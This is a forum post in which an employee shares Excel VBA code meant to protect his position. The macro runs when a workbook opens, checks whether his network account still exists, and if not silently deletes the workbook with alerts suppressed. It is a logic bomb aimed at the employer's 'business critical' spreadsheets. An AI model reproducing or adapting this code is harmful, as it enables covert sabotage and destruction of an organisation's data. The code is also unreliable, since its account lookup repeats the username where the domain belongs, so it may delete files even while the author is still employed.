L
Legacy 139926
Guest
I intend to share a little piece of code that will hopefully protect the work of people in a similar situation to me.
At my place of work, the management team request that all sorts of "business critical" applications be built in Excel. The reason is simply down to cost saving. Don't get me wrong, I love Excel and use it every single day, but sometimes things can go wrong and I get the blame. This is why it pays to have an IT department build and support a robust, scalable solution. Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company. A company that is on a continual search to cut costs in an environment where no job is safe. The following piece of code will run "on open", make sure I am still employed and if not, delete itself.
Regards,
damir
At my place of work, the management team request that all sorts of "business critical" applications be built in Excel. The reason is simply down to cost saving. Don't get me wrong, I love Excel and use it every single day, but sometimes things can go wrong and I get the blame. This is why it pays to have an IT department build and support a robust, scalable solution. Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company. A company that is on a continual search to cut costs in an environment where no job is safe. The following piece of code will run "on open", make sure I am still employed and if not, delete itself.
Code:
[COLOR=Navy]Private Sub [/COLOR]Workbook_Open()
[COLOR=Navy]Dim [/COLOR]objUser
[COLOR=Navy]Dim [/COLOR]strUsername [COLOR=Navy]As String[/COLOR]
strUsername = "InsertUsernameHere" [COLOR=Green]'just chuck in your LAN ID.[/COLOR]
strDomain = "InsertDomainHere"[COLOR=Green] 'Put in your domain here..This is the domain that you would normally log into[/COLOR]
[COLOR=Green]'************************************************************************************************************
'For example if you log into the "ASIAPACIFIC" domain with the LANID: "HAX0R"
'The code would be:
'strUsername = "HAX0R"
'strDomain = "ASIAPACIFIC"
'************************************************************************************************************[/COLOR]
[COLOR=Navy]On Error GoTo[/COLOR] ErrorHandle [COLOR=Green]'So. If it can't "GET" your username object, it means it no longer exists. An
'error will result, and the code will scoot down to ErrorHandle[/COLOR]
[COLOR=Navy]Set [/COLOR]objUser = GetObject("WinNT://" & strUsername & "/" & strUsername & ",user")
[COLOR=Navy]Exit Sub[/COLOR][COLOR=Green] 'If it finds your user ID, it will just exit as normal.[/COLOR]
ErrorHandle:
Application.DisplayAlerts = [COLOR=Navy]False[/COLOR][COLOR=Green]'Don't alert user to anything[/COLOR]
ThisWorkbook.ChangeFileAccess xlReadOnly[COLOR=Green] 'Change the way excel uses the file, so that windows doesn't see
'it as "in use".[/COLOR]
Kill ThisWorkbook.FullName [COLOR=Green]'Delete this file[/COLOR]
ThisWorkbook.Close [COLOR=Navy]False [/COLOR][COLOR=Green]'Exit, no saving[/COLOR]
[COLOR=Navy]End Sub[/COLOR]
damir